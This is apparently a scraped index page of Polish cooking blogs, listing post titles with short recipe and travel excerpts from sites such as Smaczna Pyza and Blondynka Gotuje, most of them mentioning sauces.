brąz z każdej strony.  Osączam z nadmiaru tłuszczu na ręczniczku papierowym. Podaję na ciepło. Najlepiej smakują z ziemniakami z wody,  buraczkami ze słoika i jakimś dobrym sosem SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
ŁOSOŚ W CIEŚCIE FRANCUSKIM Z TWAROŻKIEM. 222

łososiem, smaruję obficie jajkiem rozbełtanym i wkładam do piekarnika nagrzanego wcześniej do 200 stopni. Piekę pakieciki około 20-30 minut, aż wierzch pięknie zbrązowieje. Świetnie smakuje z domowym sosem czosnkowym lub ketchupem. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
WALENTYNKOWE PRZEPISY. 211

potrwa, które według mnie pasowałyby na tę wyjątkową okazję (klikać w nazwę przepisu).  Sałatka ze szpinaku z gruszką.   Łosoś w cieście z twarożkiem.   Roladki wieprzowe w sosie serowym. Zapiekany makaron "4 sery" Camembert z pieca. Camembert panierowany. Pakieciki ze szpinakiem, pieczarkami i fetą. Risotto z szafranem na cydrze. Polędwica a'la Wellington. Maślany łosoś z kaparami. Pikantny

W kuchni Karmel-itki
FALAFEL. 185

patelni rozgrzewam olej (2-3 cm warstwa) układam kotleciki  i smażę z obu stron na złoto. Po usmażeniu osączam z nadmiaru  tłuszczu na papierowym ręczniczku. Podaję z sosem na bazie jogurtu naturalnego. UWAGI: * Dodatek sody powoduje, że kotleciki są w środku delikatne i szybciej  smażą się właśnie od środka, przez reakcję sody ze związkami w ciecierzycy

W kuchni Karmel-itki
KREM Z PIETRUSZKI. 232

porcji 1 kg pietruszki (bulwy) 3 duże cebule 1 litr bulionu warzywnego (może być z kostki) 3 łyżki oleju z pestek winogron pieprz biały szczypta gałki muszkatołowej ew. sos sojowy do smaku Cebulę obieram, siekam i szklę na rozgrzanym oleju w garnku. Pietruszkę obieram i kroję w plasterki. Wrzucam do cebuli, zalewam bulionem i gotuję do miękkości warzyw.  Następie

W kuchni Karmel-itki
JAJKA Z PASTĄ SURIMI. 226

gęstsze. Ja używam majonezu Winiary. Co z pozostałymi żółtkami? Warto je zostawić do przyrządzenia inne pasty. Wystarczy świeże zioła (np. bazylię) zmiksować blenderam z żółtkami oraz majonezem lub majonezowym sosem czosnkowym. Palce lizać! SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
KREM ZE SZPARAGÓW. 268

kremy. KREM SZPARAGOWY WG KARMEL-ITKI. /spontaniczny;/ na 4-6 porcji 2 pęczki szparagów 1 pietruszka 1/4 selera ok. 800 ml bulionu warzywnego  1 biała część pora ew. sos sojowy do smaku Por kroję w plasterki. W garnku rozgrzewam odrobinę oleju,  wrzucam por i przesmażam.  Szparagi obieram (jeśli są młode, wystarczy je umyć i usunąć łuski), kroję

W kuchni Karmel-itki
KREM ZE SZPINAKU. 256

SZPINAKOWY /własny;/ 3-4 porcje 500g  świeżego szpinaku 750 ml bulionu warzywnego  3 ziemniaki 2 ząbki czosnku 1/2 pora (białej części) pieprz biały mielony ew. sól / sos sojowy do smaku Ziemniaki obieram, kroję w kostkę i zostawiam w zimnej wodzie, aby nie ściemniały.  Szpinak płucze, suszę i siekam. Czosnek obieram, rozgniatam i wraz z pokorjonym

W kuchni Karmel-itki
Hiszpańska carbonara 1628

pestek i wyciśnięte ząbki czosnku. Przesmażamy przez 1-2 minuty i dodajemy odcedzony makaron (zachowujemy trochę wody z gotowania). Dokładnie mieszamy, a następnie zdejmujemy z ognia. Dodajemy przygotowany sos i 3-4 łyżki wody z gotowania makaronu. Mieszamy przez około dwie minuty, aż jajko ugotuje się od gorącego makaronu. Można też postawić na gorący (ale wyłączony) palnik i mieszać

Poezja smaku
Sałatka makaronowa z bazylią 270

łyżka miodu 1 łyżeczka musztardy francuskiej Wykonanie: Ugotować makaron. Pokroić na mniejsze cząstki kurczaka. Cebulę pokroić wpiórka. Kroimy  w pół pomidorki koktailowe. Dodać bazylii.  Sos: Majonez, musztardę I miód - wymieszać do połączenia. Dodajemy do sałatki. Gotowe :) Smacznego

Smaki Edyty
Wielką przygodę czas zacząć czyli jesteśmy w USA! 223

leciałam linią LOT, w której dostaliśmy poczęstunek w postaci ohydnej kanapki z kiełbasą, ogórkiem kiszonym i musztardą. Ogólnie niezjadliwa. Później leciałam liniami US Airways, gdzie poczęstowali nas kurczakiem w sosie pomidorowym z makaronem ryżowym, sałatką z gotowanych warzyw, do tego sałatka z cukinią, papryką, czarnymi oliwkami i serem feta, bułka z masłem i ciastko na deser. Jedzenie może brzmi dobrze

Zgrabne Gotowanie
Roladki drobiowe ze szparagami 193

SZPARAGAMI (składniki na 4 porcje) - 3 piersi z kurczaka - pęczek białych szparagów - serek homogenizowany naturalny - sól, pieprz Marynata do mięsa: - 2 łyżki oliwy z oliwek - 1 łyżka ciemnego sosu sojowego - łyżeczka soku z cytryny - łyżeczka musztardy - oregano, bazylia - ząbek czosnku Normal 0 false false false CS JA X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband

Zgrabne Gotowanie
Pieczone bataty 193

oliwek Bataty umyć, obrać, pokroić w talarki. Doprawić i skropić oliwą z oliwek. Rozłożyć na blaszce i piec w temperaturze 200 stopni przez około 40 min. Podawać z sosem tzatziki, na który przepis znajdziecie  tutaj

Zgrabne Gotowanie
Shots from USA: DC & NYC 198

miejscu i przede wszystkim jest świeże (a nie mrożone!). Dodatki do Hamburgerów dobiera się samemu w barze sałatkowym, więc jest to bardzo dobra opcja, bo można wykluczyć bardzo kaloryczne sosy. Do tego oczywiście w zestawie frytki. No cóż, raz się żyje :)  Na deser wybrałam moje ukochane lody, czyli FroZenYo. Uwielbiam tego typu lodziarnie, a tutaj było dużo więcej smaków

Zgrabne Gotowanie
Shots from USA: Las Vegas & L.A. 229

wrażenie. Wśród nich bardzo luksusowy hotel Bellagio ze swoją słynną fontanną. Właśnie tam się zatrzymaliśmy na pyszną kolację. Wybraliśmy restaurację chińską, gdzie zamówiłam sobie makaron noodle z wołowiną w sosie słodko-ostrym. Pycha! Na pewno będę próbować odtworzyć to wspaniałe danie :) Oczywiście nie obeszło się bez odwiedzenia kasyna :) A poniżej widać hotel i fontannę Bellagio. Po 3 dniach spędzonych

Zgrabne Gotowanie
Sałatka krabowa 7085

pieprz Jajka ugotować na twardo. Ogórka umyć, obrać, pokroić w kostkę. Surimi i jajka również pokroić w kostkę. W misce wymieszać wszystkie składniki, doprawić do smaku. Ja do zrobienia sosu używam serka homogenizowanego naturalnego, ponieważ jest bardziej kremowy i mniej kwaśny niż jogurt oraz zdecydowanie mniej kaloryczny od majonezu. Smacznego

Zgrabne Gotowanie
Sałatka z tuńczykiem 562

macie jakieś postanowienia noworoczne? Jeżeli też chcecie prowadzić zdrowy styl życia zaglądajcie na mojego bloga, będzie tu teraz bardzo lekko i zgrabnie :) SAŁATKA Z TUŃCZYKIEM Składniki: - puszka tuńczyka w sosie własnym - 2 jajka - kilka liści sałaty lodowej - papryka konserwowa  - kilka oliwek - pół puszki kukurydzy konserwowej - 4 ogórki konserwowe - kawałek pora - jogurt naturalny - sól, pieprz Składniki do sałatki podałam

Zgrabne Gotowanie
Udka pieczone w rękawie z warzywami 237

WARZYWAMI Składniki: - 4 ćwiartki z kurczaka - 4 ziemniaki - papryka czerwona - 2 marchewki - cukinia - 2 gałązki tymianku - sól - przyprawa do ziemniaków Marynata: - 2 łyżki oliwy z oliwek - 1 łyżka ciemnego sosu sojowego - łyżeczka miodu - 2 ząbki czosnku - tymianek - pół łyżeczki suszonego imbiru - pół łyżeczki papryki słodkiej - pół łyżeczki papryki ostrej Mięso umyć, wysuszyć, każdą ćwiartkę rozdzielić na udka i podudzia, nasolić

Zgrabne Gotowanie
Sałatka z tuńczykiem, ryżem i ananasem 511

sałatki zdecydowanie lepszy będzie biały. Oczywiście wybór należy do Was :) SAŁATKA Z TUŃCZYKIEM, RYŻEM I ANANASEM (składniki na dużą porcję dla 4-5 osób) Składniki: - 2 puszki tuńczyka w sosie własnym - 2 woreczki ryżu - puszka kukurydzy konserwowej - puszka czerwonej fasoli - 6 plasterków ananasa - kawałek pora - 4 łyżki gęstego jogurtu naturalnego Ryż zagotować z dodatkiem soli. Pora pokroić w plasterki, ananasa

Zgrabne Gotowanie
Spaghetti z krewetkami, suszonymi pomidorami i ricottą 244

solą i pieprzem. Smażyć przez około 3 minuty, po czym dodać posiekane suszone pomidory. Ricottę wymieszać z 2 łyżkami wody (która i tak wyparuje, a łatwiej będzie nam wymieszać sos z krewetkami). Ogień zmniejszyć na minimum, do krewetek dodać ricottę, natkę pietruszki, doprawić gałką muszkatołową oraz w razie potrzeby - solą i pieprzem.  Teraz całość wymieszać z makaronem i nasze

Zgrabne Gotowanie
Kopytka 167

Kopytka...mmm - uwielbiamy je! Idealne jako dodatek do sosu, my jednak najbardziej lubimy podsmażone na patelni na złoty kolor. Mniam! Szybkie wykonanie, i super zabawa dla dziecka - mój syn uwielbia je kroić i gotować:) Składniki: 1 kg ugotowanych ziemniaków 1 łyżka mąki ziemniaczanej około 2,5 szklanki mąki pszennej 1 jajko sól Mąki i sól wysypać do dużej miski, albo

Blondynka Gotuje
Spaghetti krewetkowe 216

krewetki i ok. 30 sekund podsmażamy na małym ogniu. Zestawiamy z ognia i mieszamy z natką pietruszki. Odcedzony makaron wkładamy z powrotem do garnka, dodajemy odłożona wodę i podgrzany sos z patelni. Po wymieszaniu podajemy skrapiając danie sokiem z cytryny. SMACZNEGO

Blondynka Gotuje
Pizza na razowym spodzie 210

dzielimy na 3 "bułeczki". Smarujemy je lekko oliwą, aby nie wyschły, przykrywamy ściereczką i odstawiamy do wyrośnięcia. Po czasie oczekiwania ciasto rozciągamy lub rozwałkowujemy i kładziemy na blachę. Smarujemy sosem  pomidorowym i dajemy co nam żołądek podpowiada:) Pieczemy w temperaturze ok. 200-220°C. SMACZNEGO

Blondynka Gotuje
Ciasto czekoladowe z gruszkami 233

pomocą miksera na jednolitą masę (jeśli wyda się za gęsta można dodać syropu z gruszek). Masę rozprowadź równomiernie na gruszkach. Piecz na dolnej półce ok.25-30 minut. Pokrój. Podawaj z sosem czekoladowym lub bitą śmietaną. SMACZNEGO

Blondynka Gotuje
Ciasto na pizzę 186

godziny). Wyrośnięte ciasto uderzamy raz pięścią, aby pozbyć się pęcherzyków powietrza. Dzielimy na 3 równe części. Z nich uformować spody na pizzę, pozostawiając grubsze brzegi. Na spód wyłożyć sos pomidorowy, nasze ulubione dodatki, piec około 15 - 20 minut w maksymalnej temperaturze piekarnika (250-260ºC). Ja piekę krócej. Ser nakładać kilka minut przed końcem pieczenia. Źródło: MW . SMACZNEGO

Blondynka Gotuje
Kokardeczki według Blondyneczki :) 193

wrzucamy część świeżego tymianku. Na końcu dodajemy brokuła podzielonego na małe różyczki i makaron. Wszystko razem mieszamy i na koniec zalewamy śmietanką kremówką, podgrzewając do momentu powstania aksamitnego sosu. Po dodaniu wszystkiego danie powiększa swoją objętość trzykrotnie ;) Całość posypałam świeżym tymiankiem, a obok poukładałam cząstki pomidora. SMACZNEGO życzy BLONDYNKA

Blondynka Gotuje
Kotlety Schabowe Inaczej 6080

listek laurowy. Kiedy mięso będzie już miękkie wrzucamy pieczarki, doprawiamy pieprzem, solą ziołową, kminem rzymskim, papryką wędzoną słodką, papryką chili w proszku, przykrywamy i dusimy jeszcze jakiś czas. Jeśli sos wyjdzie nam zbyt wodnisty, wystarczy odparować trochę płynu. Podajemy z ziemniakami, kuskusem, ulubioną kaszą lub ryżem. SMACZNEGO życzy BLONDYNKA

Blondynka Gotuje
Awaryjna Sałatka z Tuńczykiem! 482

się do niej dodać czerwoną fasolę, innym razem jajko na twardo i za każdym razem pysznie. Ja podaję Wam wersję podstawową -pyszną.  Składniki: 2 puszki tuńczyka w sosie własnym, ale może być też ten w oleju 2 woreczki ryżu 1 puszka kukurydzy 2-3 ogórki konserwowe, ale mogą być też kiszone 2-3 łyżki majonezu sól morska Kamis świeżo

Blondynka Gotuje
Spirulina - co , jak, z czym i dlaczego? 205

zdrowe składniki. Oczyszcza się ze szkodliwych składników i metali ciężkich. Udowodniono, że 1 g spiruliny ma tyle samo wartości odżywczych co 1 kg warzyw! Można ją dodawać do koktajli, sosów, dipów i wielu innych potraw. Nie możemy zapomnieć, że spirulina każde danie zabarwi na kolor zielony!   Właściwości: obniża stężęnie cholesterolu we krwii wzmacnia układ odpornościowy ma działanie antynowotworowe pomaga

Blondynka Gotuje
Chlorella, przez którą stałam się Glonojadem! 244

możemy zrobić z chlorellą? Wszystko na co nam pozwoli nasza wyobraźnia. Zmieszać z serkami, mlekiem, wodą, dodawać do koktajli mlecznych, ale nie tylko. Ja przygotowałam sobie pyszne spaghetti z sosem pesto genuese z chlorellą, Spirulinę wypijam w koktajlach. Serdecznie zapraszam do zapoznania się z moimi propozycjami na glony, w których opisuję jak mocno można wyczuć posmak glonów. Dziś opracowałam koktajl

Blondynka Gotuje
Pasztet z soczewicy 236

małe pietruszki kawałek selera naciowego kawałek korzenia selera kawałek pora 1 łyżka koncentratu pomidorowego 1 ły ż ka masła orzechowego (opcj.) przyprawy: sól, pieprz, curry, kminek, słodka papryka, chili, sos sojowy oliwa z oliwek 2 ły ż ki masła (opcj.) Przygotowanie Soczewicę opłukać, wrzucić do garnka. Zalać dwiema szklankami wody, wrzucić 2 listki laurowe, ziele angielskie. Ugotować na "papkę

coolinarnastrefa.blogspot.com
Spaghetti alla bolognese 224

zaraz potem przecier pomidorowy i bulion warzywny. Całość dusić ok. 20 minut. Mięso ma być uduszone, cebulka mięciutka. Doprawić do smaku przyprawami.  Nakładać na talerz makaron z sosem, ozdobić posiekaną natką pietruszki a do smaku obsypać startym parmezanem. Smaczanego

coolinarnastrefa.blogspot.com
Calzone 292

pół a brzegi pozawijać. Wierzch każdego pieroga można posypać kminkiem i słodką papryką. Piec w temperaturze 210 o C ok. 20 min. Podawać od razu z sałatką lub/i sosem pomidorowym. Smacznego

coolinarnastrefa.blogspot.com
Pizza na cienkim cieście 224

wyrośnięcia do podwojenia swojej objętości (moje rosło 2h). Ciasto podzielić na 4 części, każdą kulę ciasta rozwałkować na cienki placek o średnicy ok. 22 cm. Na ciasto wyłożyć sos pomidorowy i ulubione dodatki (swoje podałam na liście składników). Całość przyprawić przyprawami (oregano, bazylia, tymianek, czosnek). Piec w rozgrzanym piekarniku do 240 C przez ok 12-15 min.  Upieczoną pizzę

coolinarnastrefa.blogspot.com
Spaghetti bolognese 182

Dodajemy pomidory i przyprawy do smaku. Całośc dusimy ok. 20 minut na małym ogniu. Gotujemy makaron w osolonej wodzie z łyżką oleju na al dente. Na gorący makaron z sosem sypiemy drobno starty ser . Całośc dekorujemy listkiem bazylii. Smacznego

Słodkości i nie tylko
Zielone kopytka 181

ciasto będzie ładnie odchodziło od rąk. Następnie formujemy wałki i kroimy kopytka. Całośc gotujemy w osolonej wodzie do momentu wypłynięcia kopytek na powierzchnie wody. Można tak ugotowane kopytka polac sosem gulaszowym z surówką ( ja tak podałam ) Smacznego

Słodkości i nie tylko
Sałatka z zielonej soczewicy 344

pokroic w kostkę , a ogórki w cienkie słupki. Cebule i czosnek posiekac. Soczewicę wymieszac z rozdrobnionymi składnikami i połową zieleniny. Doprawic solą , pieprzem. Posypac natką i szczypiorkiem . Dodac sos tatarski , wymieszac i jeśc :) Najlepiej jednak jak sałatka" swoje" odstoi

Słodkości i nie tylko
Penne z tuńczykiem i pomidorami 152

niej czosnek pokrojony w plasterki. Dodaj pomidory i podsmażaj jeszcze 5 minut , mieszając. Do podsmażonych pomidorów wlej wino i duś jeszcze 3-4 minuty. Odsącz tuńczyka, dodaj do sosu. Dodaj ugotowany makaron.  Przypraw pieprzem i solą. Duś przez chwilkę.  Podawaj posypane natką pietruszki

Słodkości i nie tylko
Zapiekanka czosnkowa z brukselką 217

przepuszczonym przez praskę czosnkiem , solą , pieprzem i gałką muszkatałową. W natłuszczonym żaroodpronym naczyniu układamy wszystkie przygotowane wcześniej warzywa w kolejności ( ziemniaki, brukselka z marchewką - ja pomieszałam je wszystkie ). Zalewamy sosem , posypujemy serem. Pieczemy 25 minut w piekarniku o temp. 180 C .Przed podaniem dekorujemy szczypiorem albo natka pietruszki . Smacznego

Słodkości i nie tylko
Snikers 2172

wierzch położyć placek a masa orzechową.Najlepiej ciasto tak przygotowane postawić do lodówki i na następny dzień cieszyć się pysznym smakiem miodowym napotykając się na chrupiące orzeszki w karmelowym sosie.     Smacznego

Słodkości i nie tylko
Nalesniki z serkiem mascarpone 204

szklanki maki  0.5l mleko 2 jajka 250 serka mascarpone  150ml smietany double cream  sos toffi  cukier puder  1 cukier waniliowy sol Do miski przekladamy serek mascarpone dolewamy smietane i rozrabiamy trzepaczka dodajac stopniowo cukier puder i cukier waniliowy ( wedle gustu ) Po rozrobieniu serka odkladamy go i bierzemy druga miske na rozrobienie ciasta Wsypujemy

Klaudynkowa kuchnia
Stek z frytkami 204

steki kladziemy na grillu  Wkladamy razem i pieczemy tyle co frytki  Po upieczeniu gotowe do podania  Mozna do tego zrobic saltke i steki dobrze smakuja z sosem BBQ Ps. Jest to obiad ktory robi moj maz zawsze, takze to jego przepis. Moge powiedziec tylko tyle, ze swietnie smakuje i jest szybki do przyzadzenia

Klaudynkowa kuchnia
Sernik Klaudyny 182

drugi dzien jest konieczne poniewaz masa na poczatku bedzie leista i dopiero jak sie odstanie to zrobi sie spojona i puszysta Ja podalam ten sernik z bita smietana i sosem toffi ale mozna na swoj sposob podawac

Klaudynkowa kuchnia
Smarzone mieso wolowe w pomidorach 190

pomidory z puszki i wszystko razem dusimy ok 15min  Jak juz mieso jest miekkie mozna wylaczy  Dobrze smakuje z ziemniakami  Smacznego! Ps Nie robic z tego sosu pomidorowego tylko powinno byc geste

Klaudynkowa kuchnia
Gołąbki oszukańce 12239

Żarłoczki bardzo lubią gołąbki. Jednak zdecydowanie wolą farsz i sos a najmniej kapuściany szlafroczek. Dlatego zrobienie gołąbków bez zawijania jest tutaj doskonałym pomysłem. Nie mają czego odkładać na bok i chętnie wszystko zjadają. Tylko czy to jeszcze są gołąbki ? Może to tylko kotlety z kapustą ? ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Pulpeciki cebulowe 304

Żarłoczek jest w siódmym niebie jak widzi makaron z mięsem i sosem. I nawet już nie narzeka gdy ten makaron jest pełnoziarnisty co jeszcze do niedawna miał w zwyczaju. Kluskowy ten mój Małżon, bardzo kluskowy :) A ja cóż . . . szczerze mówiąc wolę ziemniaki, ale faktem jest, że makaronu nie trzeba obierać :) ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Roladki wieprzowe z leśną nutą 184

Pomyślałam o roladkach bo dawno ich nie jedliśmy chociaż z karkówki jeszcze ich nie robiłam - okazało się, że to był strzał w dziesiątkę. Świetnie smakowały z kluseczkami polanymi pysznym sosem, ale można je podać z czym chcecie. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Kluski śląskie 194

wskazuje nazwa najbardziej znane są właśnie na Śląsku gdzie podaje się je najczęściej z roladami z mięsa wołowego i modrą kapustą. Ale kluski ziemniaczane będą dobre z różnymi sosami czy tylko okraszone podsmażoną na tłuszczu cebulką. Najważniejsze jest jednak to, że ich przygotowanie to banalnie prosta czynność. Większość z Was na pewno je zna i robi, ale może komuś taki

Smaczna Pyza
Zupa z zielonego groszku i rzeżuchy 181

torebeczki nasion żeby móc sobie założyć mini ogródek w każdej chwili. Wystarczy jakieś naczynko, wata albo lignina, woda i po kilku dniach można mieć własne zielsko. Do kanapek, do sosów, do zupy . . . ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Makaron z kurczakiem, pieczarkami i groszkiem 317

Poproszono mnie o przetestowanie nowego produktu firmy Lubella pod nazwą "Szybko z patelni". Dostałam 3 różne paczuszki zawierające makarony i sosy w proszku do nich - świderki z pieczarkami, świderki w szpinaku i pikantne rurki. Makarony tego producenta znam i cenię od dawna więc postanowiłam wypróbować i to, chociaż opcja sproszkowanego dodatku jakoś mnie nie zachęcała

Smaczna Pyza
Pstrąg pieczony 182

właśnie tak. Wystarczy trochę dodatków aromatyzujących i na blachę. Po prostu a wychodzi coś genialnego. Oczywiście jeśli ktoś woli może sobie taką rybkę usmażyć - pstrąg z chrupiącą skórką i sosem kurkowym to też niebo w gębie :) ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Sałatka liściasta z hallumi i truskawkami 191

nawet najbliższym nic do tego - tak się przed laty dogadaliśmy i staramy się szanować swoją odrębność. A ponieważ jest daleko więc mogę sobie swobodnie sałatkować. Jakieś liście i dziwny sos - ja lubię, ale u Niego to nie przejdzie więc robię takie rzeczy przeważnie tylko dla siebie. Zjadłam cały talerz takich pyszności na lunch i aż mi się humor poprawił :) ROZWIŃ

Smaczna Pyza
Kurczak teriyaki 567

spróbować zrobić takie danie w domu. Oczywiście jestem wariatka bo zamiast najpierw zaopatrzyć się porządnie w składniki podeszłam do tematu spontanicznie nie mając ani sake, ani mirinu potrzebnych do sosu teriyaki. I tutaj z pomocą przyszła Joasia , która oryginalny przepis przerobiłam jakiś czas temu po swojemu. A ponieważ znam Jej smak więc chętnie zgapiłam i dzisiaj właśnie taką wersję dania

Smaczna Pyza
Maggiczne placki 599

prawie każdym obiedzie. Doprawiano "magą" rosół i inne zupy, gulasze, bigos i wiele innych potraw. Maggi to przyprawa w płynie nieco podobna smakiem, kolorem i konsystencją do sosu sojowego. Wymyślił ją pod koniec XIX w., w Szwajcarii, Julius Maggi. Dzięki niemu powstał nie tylko ten charakterystyczny płyn, ale także opakowanie - kanciasta butelka z żółto czerwoną etykietą. Pierwsze szwajcarskie

Smaczna Pyza
Sałatka wiejska 830

pognałam do kuchni. Na szczęście z poprzedniego dnia zostało w miseczce kilka ugotowanych małych ziemniaczków. Już wiedziałam, że będą się dobrze czuły w prostej sałatce. Do sałatki oczywiście sos na bazie oleju rzepakowego, który jest nie tylko zdrowy, ale także neutralny w smaku więc nie przyćmi innych składników. Dostarczy nam za to cennych składników - w oleju rzepakowym stosunek Omega

Smaczna Pyza
Siedzuń vel szmaciak 773

ochrony. Co nie znaczy jednak, że można go niszczyć. Przypominam, że za bezmyślne niszczenie grzybów albo ściółki można dostać wysoki mandat. Moje dania z siedzuniem sosnowym : - Karczek w szmacianym sosie - Zupa cukiniowa ze szmaciakiem i ryżowymi świderkami - Cukinia ze szmaciakiem ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Twardzioszek przydrożny - przydróżka 505

Babci . Już jako trzyletni brzdąc cierpliwie wyskubywałam przydróżki z trawy i bardzo zadowolona z siebie wracałam do domu ze swoim pełnym koszyczkiem. Moje dania z twardzioszkami : - Krupnik z twardzioszkami - Sos z twardzioszków ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Borowik brunatny - podgrzybek 217

podgrzybkami : - Polędwiczki drobiowe z borowikami - Borowiki w marynacie miodowej - Pasta z grzybów leśnych - Pierogi z kapustą i grzybami - Pasztet z grzybami - Grzyby duszone, pasteryzowane - Grzyby marynowane - Sakiewki z podgrzybkami - Sos tatarski ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Borowik zajęczy - zajączek 793

także dobrze znany grzyb jadalny. Może nie tak chętnie zbierany jak podgrzybek brunatny, nie tak wartościowy i aromatyczny, ale można go używać właściwie tak samo. Moje dania z zajączkami : - Sos z zajączkiem - Grzyby duszone ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Uszka pełnoziarniste z warzywami 202

przeciwnikiem makaronu. Moi kluskowi domownicy lubią go bardzo i zjedzą chyba w każdej postaci. Może być zapiekanka z makaronu , zupa z makaronem , sałatka makaronowa , makaron z pesto , makaron z sosem, a nawet babeczki z makaronu . Dzisiaj też będzie makaron - tym razem z dodatkiem warzyw, sera i aromatycznych ziół. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Miseczki makaronowe pełne po brzegi 213

Makaron - przede wszystkim dodatek do zup albo do dań mięsnych czy warzywnych z sosem. A ja szukam innego zastosowania dla makaronów, czegoś nieszablonowego. Zrobiłam ciastka makaronowe, schrupaliśmy makaronowy chrust więc teraz coś konkretniejszego. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Gąska zielonka - prośnianka, zieleniatka 600

trafiam :) Nie mam też na blogu dań z wykorzystaniem gąsek zielonek - kilka sztuk jakie czasami uda mi się znaleźć trafia przeważnie do jednego gara zupy wielogrzybowej albo sosu z różnych gatunków. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Kurze udka duszone z warzywami czyli cały obiad w jednym garze 695

lubię zmywać i dlatego cieszą mnie dania albo już same pomysły na gotowanie jednej potrawy w jednym garnku. Bez używania patelni do podsmażenia czegoś, bez małego rondelka do zrobienia sosu czy innego garnka do obgotowania jakiegoś składnika. Często wcale to nie jest konieczne a poza tym gotując w jednym garnku wszystkie smaki mamy razem. Wiedziałam, że następny dzień będę miała

Smaczna Pyza
Kluseczki na maślance 350

Kluseczki na maślance bo zamiast wody użyłam do ich przygotowania właśnie maślanki. Wyszły bardzo smaczne i delikatne. Można je tylko okrasić podsmażoną cebulką czy skwarkami, można polać jakimś sosem albo podać jako dodatek do gulaszu, tak jak ja. Lubią je mali i duzi :) Zobacz też inne kluseczki - kolorowe - Zielone kluseczki dla Ogra i Pomidorowe galuszki ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Gulasz z żołądków drobiowych, z pomidorami i papryką 186

lubiłam. Wiem, że niektórzy czują obrzydzenie na samą myśl o podrobach, ale przecież przed gotowaniem bardzo dokładnie się je czyści a dobrze przyrządzone są przepyszne ! Dzisiaj w pysznym sosie z pomidorami i aromatyczną papryką. Do gulaszu podałam delikatne kluseczki maślankowe - to był bardzo zgrany duet. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Udka duszone z pieczarkami i żubrówką 503

wcześniej a potem tylko podgrzać i nie tracić czasu na stanie przy kuchni. Wolisz danie bez grzybów ? Zobacz przepis na pysznego kurczaka pieczonego z suszonymi pomidorami i czosnkiem oraz sosem ze świeżych pomidorów - polecam ! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Szare kluski - kluski ziemniaczane 299

będziecie chcieli - mnie najwygodniej było przygotować je przy pomocy łyżeczki. Szare kluski dobrze smakują tylko okraszone przesmażoną cebulką albo skwarkami z boczku. Ale można je podać do dań z sosem czy mięs pieczonych. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Szpinak, truskawki, stokrotki i jest pysznie ! 264

Sałatka ze szpinaku, z truskawkami, szynką, selerem i stokrotkami - czyż to nie brzmi pysznie i wiosennie ? Do tego jeszcze pyszny, zielony sos i mamy zdrowe danie. Do tego ładne i cieszące oko. Taką sałatkę można podać na lunch, kolację czy nawet na śniadanie. Jest pyszna i lekka. Spróbuj koniecznie ! Zobacz także przepis na Wiosenną zupę szparagową ze stokrotkami . ROZWIŃ

Smaczna Pyza
Grill. Pieczarki i ser. Pieczarki grillowane z serem taleggio 237

Grzyby z rusztu, z serem pleśniowym, są pyszną przekąską. Można też je przygotować w piekarniku jeśli ktoś miałby ochotę. Lubisz grillowane warzywa ? Zobacz przepis na Grillowaną młodą cukinię z sosem jogurtowym ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Szparagi i jajka. Sałatka z surowych szparagów i jajko w koszulce 297

musicie spróbować ! Jajko w koszulce czyli jajko poszetowe to klasyka - świetnie nadaje się do podania z sałatkami bo po przekrojeniu żółtko miesza się z pozostałymi składnikami dania tworząc pyszny sos. Koniecznie zobacz przepis na Omlet ze szparagami i Szparagi z jajem ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Sałata. Ser. Szparagi. Sałatka z mizuny ze szparagami , pomidorami i serem Burguitos de arias 201

Chrupiące szparagi, delikatne liście sałaty, soczyste pomidory, łagodny ser i pachnący sos. To wszystko w kilka minut pozwoliło mi stworzyć pyszna sałatkę. Tak niewiele trzeba żeby zjeść dobry i zdrowy posiłek. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Kapusta. Grzyby. Kasza jaglana. Gołąbki z kaszą i świeżymi grzybami. 256

bardzo nachalnie. To pyszne danie, ale nie lubię go robić więc kiedy mamy na nie ochotę zbieram się do przygotowania kilka dni. Klasyczne gołąbki z mięsem, w sosie pomidorowym, i to z młodej kapusty, śniły mi się nawet którejś nocy... Kupiłam więc piękną główkę, naszykowałam mięso, pomidory, zmobilizowałam się .... Tyle, że zawsze muszę coś pokombinować bo inaczej byłabym chora. Kiedy

Smaczna Pyza
Jak zrobić najlepsze domowe frytki ? Smażone na oleju rzepakowym. 2830

zrobić pyszne, domowe frytki samemu. Ja wybieram tę ostatnią opcję i kilka razy do roku smażę najlepsze frytki. Można zjeść je tylko z dodatkiem ketchupu czy innego, ulubionego sosu. Mogą też być dodatkiem do obiadu, zamiast ziemniaków gotowanych. Zobacz przepis na Frytki pieczone z pasternaku ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Mięso. Kluski. Klopsiki z jagnięciny zapiekane ze szpeclami, serem i pomidorami. 246

obiad były klopsiki ze zmielonej jagnięciny, zapieczone z kluskami i sosem serowo-pomidorowym. Dość szybkie a na pewno mało pracochłonne danie z piekarnika dla kilku osób. Ja nie miałam dużo pracy a Żarłoczki zadowolone bo kluchy z mięsem to ich ulubiony zestaw. Do klopsików można wykorzystać jakieś inne mięso jeśli nie macie jagnięciny a szpecle zastąpić makaronem więc nie wymigujcie

Smaczna Pyza
Domowe przetwory. Dżem truskawkowo-ananasowy z bazylią 229

